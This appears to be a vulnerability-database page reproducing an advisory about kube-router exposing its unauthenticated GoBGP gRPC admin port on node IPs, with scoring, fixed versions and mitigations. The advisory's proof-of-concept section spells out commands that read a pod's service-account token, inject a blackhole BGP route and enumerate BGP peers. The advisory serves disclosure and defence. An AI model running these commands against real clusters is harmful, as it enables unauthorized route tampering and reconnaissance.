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OSV ecosystem advisory

GHSA-v5mh-h5hx-7v92: kube-router: GoBGP gRPC Admin Port Exposed on Node Primary IP Without Authentication, Allowing Cluster-Wide BGP Route Injection

MediumCVSS 6.3 · v3.1—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 25/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: github.com/cloudnativelabs/kube-router (Go) 2.9.0; github.com/cloudnativelabs/kube-router/v2 (Go) 2.9.0.

Low priority for now. Upgrade to github.com/cloudnativelabs/kube-router (Go) 2.9.0; github.com/cloudnativelabs/kube-router/v2 (Go) 2.9.0 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary When the kube-router routing controller starts (`--run-router`), it binds the GoBGP gRPC management server to the node's primary IP (e.g., `192.168.1.10:50051`) in addition to `127.0.0.1:50051`. The default admin port is `50051` and the server is enabled by default with no TLS and no authentication. Any pod in the cluster can reach node IPs and therefore call the GoBGP gRPC API to inject arbitrary BGP routes, enumerate peer configurations, add unauthorized BGP neighbors, or withdraw legitimate routes. While kube-router's BGP export policy of `ROUTE_ACTION_REJECT` limits the attack surface to the local node's GoBGP RIB, an attacker can still impact local routing decisions. ## Details The gRPC server is started unconditionally when `--run-router` is active. In `pkg/controllers/routing/network_routes_controller.go`, the `startBgpServer(true)` call at line 365 passes `grpcServer=true`, and the binding logic at lines 1057–1061 is: ```go // pkg/controllers/routing/network_routes_controller.go:1057-1061 if grpcServer && nrc.goBGPAdminPort != 0 { nrc.bgpServer = gobgp.NewBgpServer( gobgp.GrpcListenAddress(net.JoinHostPort(nrc.krNode.GetPrimaryNodeIP().String(), strconv.FormatUint(uint64(nrc.goBGPAdminPort), 10)) + "," + fmt.Sprintf("127.0.0.1:%d", nrc.goBGPAdminPort))) } ``` The default admin port is defined in `pkg/options/options.go`: ```go // pkg/options/options.go:16 defaultGoBGPAdminPort uint16 = 50051 ``` No `gobgp.GrpcOption` is passed, meaning the gRPC server is started with no TLS credentials and no authentication interceptor. The GoBGP gRPC API (`gobgpapi`) exposes write-capable RPCs: - `AddPath` / `DeletePath` — inject or withdraw arbitrary BGP routes - `AddPeer` / `DeletePeer` / `UpdatePeer` — add/remove/modify BGP neighbors - `AddPolicy` / `DeletePolicy` — modify BGP routing policies - `ListPeer` / `ListPath` — enumerate all BGP peer configs and routing table entries kube-router runs as a DaemonSet with `hostNetwork: true`. This means the gRPC server is reachable at `<node-primary-ip>:50051` from any pod in the cluster — pod-to-node-IP connectivity is guaranteed by any Kubernetes-conformant CNI. The kube-router documentation in `docs/pod-toolbox.md` explicitly demonstrates cross-node usage: "To query a different node use `gobgp --host node02.mydomain`" — confirming the port is reachable across the cluster, but providing no guidance on restricting access. ## PoC From any pod running in the cluster: **Step 1 — Discover a node IP:** ```bash # Using the Kubernetes API (available to all pods via service account) curl -s -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \ https://kubernetes.default.svc/api/v1/nodes \ --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \ | grep -o '"internalIP":"[^"]*"' | head -1 # Expected output: "internalIP":"192.168.1.10" ``` **Step 2 — Connect to the GoBGP gRPC API and inject a blackhole route:** ```bash # Install gobgp CLI (already available in kube-router image, or pull separately) gobgp --host 192.168.1.10:50051 global rib add -a ipv4 10.96.0.0/12 nexthop blackhole # Expected output: (no error — route accepted into the local GoBGP RIB) ``` **Step 3 — Verify route propagated to BGP table:** ```bash gobgp --host 192.168.1.10:50051 global rib -a ipv4 # Expected output: shows 10.96.0.0/12 blackhole route in the local RIB # This route does NOT propagate to peers or get added to the kernel routing table. ``` **Step 4 — Enumerate BGP peer configurations:** ```bash gobgp --host 192.168.1.10:50051 neighbor # Expected output: lists all configured BGP peers, their ASNs, # session state, and configuration — without any Kubernetes credentials ``` ## Impact - **BGP route injection**: An attacker with a pod in the cluster can inject arbitrary routes into a node's local BGP RIB. While these routes are not propagated to the rest of the cluster or injected into the kernel's routing table, this allows an attacker to pollute the BGP state on a node and could be combined with misconfigurations/other vulnerabilities for additional exploits (e.g. if the `ROUTE_ACTION_REJECT` policy set in kube-router was ever changed/relaxed) - **BGP peer enumeration**: All BGP neighbor configurations, including remote ASNs and session metadata, are accessible without authentication. - **BGP peer manipulation**: Unauthorized BGP peers can be added, and are persisted until manually removed. Legitimate peer configurations can be removed temporarily, though they are automatically restored each sync tick.) - **Routing policy modification**: BGP import/export policies can be modified within the local RIB The blast radius is cluster-wide: a single successful `AddPath` call on one node affects all pods' network connectivity through iBGP propagation. ## Recommended Fix The gRPC server should not be bound to the node's primary IP by default. Options in order of preference: 1. **Bind to localhost only** (minimal change, immediate security improvement): ```go // pkg/controllers/routing/network_routes_controller.go:1057-1061 if grpcServer && nrc.goBGPAdminPort != 0 { nrc.bgpServer = gobgp.NewBgpServer( gobgp.GrpcListenAddress(fmt.Sprintf("127.0.0.1:%d", nrc.goBGPAdminPort))) } ``` 2. **Disable by default** — change `defaultGoBGPAdminPort` from `50051` to `0`, requiring operators to explicitly opt in with `--gobgp-admin-port=50051` and accept responsibility for securing the port. 3. **Add mTLS authentication** — pass `gobgp.GrpcOption(grpc.Creds(...))` to require client certificates before allowing gRPC calls. For users on affected versions, mitigation options include: - Set `--gobgp-admin-port=0` to disable the gRPC server entirely - Add host-level iptables INPUT rules to block port 50051 from non-localhost sources - Apply Kubernetes NetworkPolicy (note: NodePort/host-network traffic bypasses NetworkPolicy in many CNI implementations)

Published
May 6, 2026
Updated
Jun 25, 2026
EPSS
—

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Action score

25

Monitor

Low priority for now.

CVSS
25 / 40 · 6.3 / 10
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
Gogithub.com/cloudnativelabs/kube-router

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
Gogithub.com/cloudnativelabs/kube-routerfrom 0—
Gogithub.com/cloudnativelabs/kube-routerbefore 2.9.02.9.0
Gogithub.com/cloudnativelabs/kube-router/v2before 2.9.02.9.0

Same product

Go: all records

Other highest-scoring records for the same primary product.

  • GO-2026-5653kube-router: GoBGP gRPC Admin Port Exposed on Node Primary IP Without Authentication, Allowing Cluster-Wide BGP Route Injection in…
    0Monitor
  • GO-2026-5354kube-router: BGP Peer Passwords Exposed in Logs at Verbose Logging Level in github.com/cloudnativelabs/kube-router
    0Monitor

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
Go:github.com/cloudnativelabs/kube-router2.9.0Package registry (OSV)
Go:github.com/cloudnativelabs/kube-router/v22.9.0Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Not on record for this CVE: EPSS history · patch commit or PR link · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • A low-privileged account is enough.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
low · data can be read
Integrity
low · data or configuration can be modified
Availability
low · the service can be disrupted
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality impact
Low
Integrity impact
Low
Availability impact
Low

CVSS vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

osv

Attack context

MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.

References

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Vendor advisories and official records. Exploit/PoC links are deliberately left out.

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